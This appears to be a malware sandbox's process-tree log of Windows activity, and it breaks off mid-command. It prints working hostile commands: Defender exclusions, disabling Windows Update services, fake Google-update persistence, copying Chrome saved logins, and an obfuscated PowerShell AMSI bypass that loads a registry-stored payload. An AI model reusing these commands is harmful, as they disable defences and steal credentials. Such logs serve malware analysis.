C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2292,i,7369296501464212858,1992403372776944437,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:87⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2292,i,7369296501464212858,1992403372776944437,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2292,i,7369296501464212858,1992403372776944437,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2292,i,7369296501464212858,1992403372776944437,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2292,i,7369296501464212858,1992403372776944437,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3668 /prefetch:27⤵
- Uses browser remote debugging
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data"6⤵
- Uses browser remote debugging
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RunIt.exe"C:\Users\Admin\AppData\Local\Temp\RunIt.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cabalmain.exe"C:\Users\Admin\AppData\Local\Temp\Files\cabalmain.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PAETools.exe"C:\Users\Admin\AppData\Local\Temp\Files\PAETools.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pkexU0YtxaR3.exe"C:\Users\Admin\AppData\Local\Temp\Files\pkexU0YtxaR3.exe"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ayizh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe"2⤵
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
-
-
-
C:\Windows\SysWOW64\colorcpl.exe"C:\Windows\SysWOW64\colorcpl.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\AppData\Local\Temp\Files\order_pdf.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vpnaxct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe eajtcgrlzupf2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe kamuqghozvgymvhu 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeBIUimeqNLefwJkdZRJOrSpmO+0pqHVIfUBcNW7FeU2kln03vvTX/y/UWjqd77Oj6n3ik7eLa+4je8vEqt/7VWAQiSbqcxIf9/eyTznYL1NHfGL3u3mSRFre0xvuBRqyy1eHwP53iDRotrR+JNbF3FMBaMPFnDooLn4DjieMA3ox4N93x1FdLZq6syOH56EJFpRiOcfkfqkJFHkXOmZN9VzjfRS1goxChA+bs6J6EomT7t+NB/UOw/hAfq/3nA/AMY+ksV0gz5RZKvCL6aHlMZLaQZB4owAuD67VqUasg/do50XTWnjsQhDrHF+iUSaGkBPapXZcYe+H2yR18IjNKOkz57D8rmccsoE1w1VL9CUhxjI9DyRo+4WY6QzFZ2Zsiss184MznthyMZdl4KgdZ7cwYGgu0SamXOTOuAqokJHliYZu2u73KDFgmr74ArJD3lqg7kPjwWhMfbsjAN/Op71ss/5+rojpUxZypowqF8OnEU0pkcuW4ufOpssWY82SK2⤵
-
-
C:\Program Files (x86)\Bppn\3fltixpfip1.exe"C:\Program Files (x86)\Bppn\3fltixpfip1.exe"2⤵
-
-
C:\Windows\SysWOW64\WWAHost.exe"C:\Windows\SysWOW64\WWAHost.exe"2⤵
-
-
C:\Windows\SysWOW64\systray.exe"C:\Windows\SysWOW64\systray.exe"2⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x458 0x4501⤵
-
C:\Users\Admin\AppData\Local\Temp\pEff5n2AEUPkLwZK\aKSIsdHVyVaJ.exeC:\Users\Admin\AppData\Local\Temp\pEff5n2AEUPkLwZK\aKSIsdHVyVaJ.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\FWAOSuzVEKCX9Sfv\TZeCe6tGQj3k.exeC:\Users\Admin\AppData\Local\Temp\FWAOSuzVEKCX9Sfv\TZeCe6tGQj3k.exe 59242⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\FWAOSuzVEKCX9Sfv\TZeCe6tGQj3k.exeC:\Users\Admin\AppData\Local\Temp\FWAOSuzVEKCX9Sfv\TZeCe6tGQj3k.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\QXeM95dDKrjYDhgJ\An7+H5lBjqHU.exeC:\Users\Admin\AppData\Local\Temp\QXeM95dDKrjYDhgJ\An7+H5lBjqHU.exe 19362⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\QXeM95dDKrjYDhgJ\An7+H5lBjqHU.exeC:\Users\Admin\AppData\Local\Temp\QXeM95dDKrjYDhgJ\An7+H5lBjqHU.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\qBOuKyeuw0DlnvU3\K6x8viOxqlIs.exeC:\Users\Admin\AppData\Local\Temp\qBOuKyeuw0DlnvU3\K6x8viOxqlIs.exe 12522⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4644 -s 14963⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\QXeM95dDKrjYDhgJ\8xe1Sbgq6DyV.exeC:\Users\Admin\AppData\Local\Temp\QXeM95dDKrjYDhgJ\8xe1Sbgq6DyV.exe 12522⤵
-
-
C:\Users\Admin\AppData\Local\Temp\QXeM95dDKrjYDhgJ\wYnVm58iLNYa.exeC:\Users\Admin\AppData\Local\Temp\QXeM95dDKrjYDhgJ\wYnVm58iLNYa.exe 12522⤵
-
-
C:\Users\Admin\AppData\Local\Temp\QXeM95dDKrjYDhgJ\dxZxEvSUELCp.exeC:\Users\Admin\AppData\Local\Temp\QXeM95dDKrjYDhgJ\dxZxEvSUELCp.exe 12522⤵
-
-
C:\Users\Admin\AppData\Local\Temp\qBOuKyeuw0DlnvU3\K6x8viOxqlIs.exeC:\Users\Admin\AppData\Local\Temp\qBOuKyeuw0DlnvU3\K6x8viOxqlIs.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5768 -s 5882⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5768 -ip 57681⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exeC:\Users\Admin\AppData\Roaming\SubDir\updater.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:TuMttYnMUCMU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NnMZGdoCzwZRHq,[Parameter(Position=1)][Type]$JLeYEZdgOB)$gLbkAHGpJhO=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+''+'e'+'le'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+'o'+'r'+''+[Char](121)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'ns'+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s,A'+'u'+''+[Char](116)+'o'+'C'+'la'+[Char](115)+''+'s'+'',[MulticastDelegate]);$gLbkAHGpJhO.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+'p'+''+'e'+''+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+'u'+'bl'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NnMZGdoCzwZRHq).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+'na'+[Char](103)+''+[Char](101)+'d');$gLbkAHGpJhO.DefineMethod('I'+'n'+'v'+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+'yS'+'i'+'g'+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+'o'+''+'t'+''+','+''+'V'+''+'i'+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$JLeYEZdgOB,$NnMZGdoCzwZRHq).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+'m'+'e'+','+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+'ed');Write-Output $gLbkAHGpJhO.CreateType();}$zVctWMKuZoTSY=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+''+'n'+''+'s'+''+'a'+''+'f'+'e'+[Char](122)+''+[Char](86)+''+'c'+''+[Char](116)+''+'W'+''+'M'+''+'K'+''+[Char](117)+''+[Char](90)+''+'o'+''+[Char](84)+'S'+'Y'+'');$WtPzBnBBmPices=$zVctWMKuZoTSY.GetMethod(''+'W'+''+[Char](116)+''+[Char](80)+''+[Char](122)+''+'B'+''+'n'+'B'+'B'+'m'+[Char](80)+''+'i'+''+'c'+''+[Char](101)+''+'s'+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'St'+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$pJCaubQBVCQZMadpLWw=TuMttYnMUCMU @([String])([IntPtr]);$VJqambORXbpeVWquGINqJJ=TuMttYnMUCMU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PJFGLKzFnKj=$zVctWMKuZoTSY.GetMethod('G'+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+'a'+'n'+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+'3'+'2'+'.d'+[Char](108)+''+[Char](108)+'')));$onTIJfodLNkOKN=$WtPzBnBBmPices.Invoke($Null,@([Object]$PJFGLKzFnKj,[Object]('L'+'o'+''+'a'+''+[Char](100)+''+'L'+''+'i'+'b'+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$sIOEGVYCRVXChjFBZ=$WtPzBnBBmPices.Invoke($Null,@([Object]$PJFGLKzFnKj,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$dClZOmB=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($onTIJfodLNkOKN,$pJCaubQBVCQZMadpLWw).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$eWbkvjVWseWLyUdhp=$WtPzBnBBmPices.Invoke($Null,@([Object]$dClZOmB,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+'n'+[Char](66)+'u'+'f'+''+[Char](102)+''+'e'+'r')));$oMoCevHGXM=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sIOEGVYCRVXChjFBZ,$VJqambORXbpeVWquGINqJJ).Invoke($eWbkvjVWseWLyUdhp,[uint32]8,4,[ref]$oMoCevHGXM);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$eWbkvjVWseWLyUdhp,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sIOEGVYCRVXChjFBZ,$VJqambORXbpeVWquGINqJJ).Invoke($eWbkvjVWseWLyUdhp,[uint32]8,0x20,[ref]$oMoCevHGXM);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+'TWA'+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+'a'+[Char](108)+''+'e'+''+'r'+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)1⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zOezbuWCQCvs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$npcxgZgtLEuaLr,[Parameter(Position=1)][Type]$ktnKXNSMsC)$ZlpYLFQnNrF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+'t'+''+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'g'+'a'+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+[Char](111)+'d'+'u'+'l'+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'ga'+'t'+''+[Char](101)+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+','+[Char](80)+'u'+[Char](98)+''+'l'+'i'+[Char](99)+''+[Char](44)+''+'S'+''+'e'+'a'+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+'A'+'ns'+[Char](105)+''+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+',A'+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$ZlpYLFQnNrF.DefineConstructor('R'+'T'+''+'S'+''+[Char](112)+''+'e'+''+[Char](99)+''+'i'+''+[Char](97)+''+'l'+'N'+[Char](97)+''+'m'+''+[Char](101)+','+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$npcxgZgtLEuaLr).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$ZlpYLFQnNrF.DefineMethod(''+'I'+'n'+'v'+''+'o'+''+[Char](107)+'e',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c,'+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+'B'+[Char](121)+''+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+'l'+''+'o'+''+[Char](116)+''+[Char](44)+'V'+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$ktnKXNSMsC,$npcxgZgtLEuaLr).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'ime,'+[Char](77)+''+[Char](97)+''+'n'+'ag'+[Char](101)+''+[Char](100)+'');Write-Output $ZlpYLFQnNrF.CreateType();}$blCPICmUryVoi=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 